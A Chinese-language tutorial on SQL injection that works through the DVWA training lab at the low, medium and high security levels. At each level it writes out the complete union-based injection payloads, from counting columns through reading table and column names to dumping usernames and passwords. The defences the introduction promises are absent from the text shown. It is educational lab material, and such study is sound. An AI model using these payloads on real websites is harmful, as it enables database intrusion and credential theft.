【原理】
日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。
网络安全成为了现在互联网的焦点,这也恰恰触动了每一位用户的神经,由于设计的漏洞导致了不可收拾的恶果,验证了一句话“出来混的,迟早是要还的”,所以介绍一些常用的攻击技术和防范策略。
SQL Injection也许很多人都知道或者使用过,如果没有了解或完全没有听过也没有关系,因为接下来我们将介绍SQL Injection。
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
首先让我们了解什么时候可能发生SQL Injection:
假设我们在浏览器中输入URL:www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以在该URL中嵌入恶意SQL语句。
初级SQL注入漏洞
点击DVWA Security,选择安全等级Low
选择SQL Injection在User ID输入数字1:
从显示的数据可以看出,经过了数据库的查询,尝试输入1':
通过尝试1' order by 1#,1' order by 2#,1' order by 3#得知该sql语句查询的只有2个字段:
在通过1' union select 1,2#得到可以显示数据的位置:
通过1' union select database(),2#得到当前数据库的名称:
通过1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:
通过1' union select group_concat(column_name),2 from information_schema.columns where table_name='user'#得到表的列名:
通过1' union select group_concat(User),group_concat(Password) from users#得到对应列的数据:
中级SQL注入漏洞
点击DVWA Security,选择安全等级Medium,点击Submit
选择SQL Injection在User ID选择数字1,点击Submit:
从显示的数据可以看出,经过了数据库的查询,根据下图改造浏览器,这样你每次点击Execute的时候就会把下面的参数当做POST类型的提交给服务器:
通过尝试修改数据包id字段为1 order by 1#,1 order by 2#,1 order by 3#得知该sql语句查询的只有2个字段:
在通过1 union select 1,2#得到可以显示数据的位置:
通过1 union select database(),2#得到当前数据库的名称:
通过1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:
通过1 union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273#得到表的列名:
通过1 union select group_concat(User),group_concat(Password) from users#得到对应列的数据:
高级SQL注入漏洞
点击DVWA Security,选择安全等级High,点击Submit
选择SQL Injection点击 here to change your ID,然后在弹出的输入框提交1:
从显示的数据可以看出,经过了数据库的查询。
通过尝试修改第一个数据包id字段为1' order by 1#,1' order by 2#,1' order by 3#得知该sql语句查询的只有2个字段:
在通过1' union select 1,2#得到可以显示数据的位置。
通过1' union select database(),2#得到当前数据库的名称:
通过1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:
通过1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#得到表的列名:
通过1' union select group_concat(User),group_concat(Password) from users#得到对应列的数据: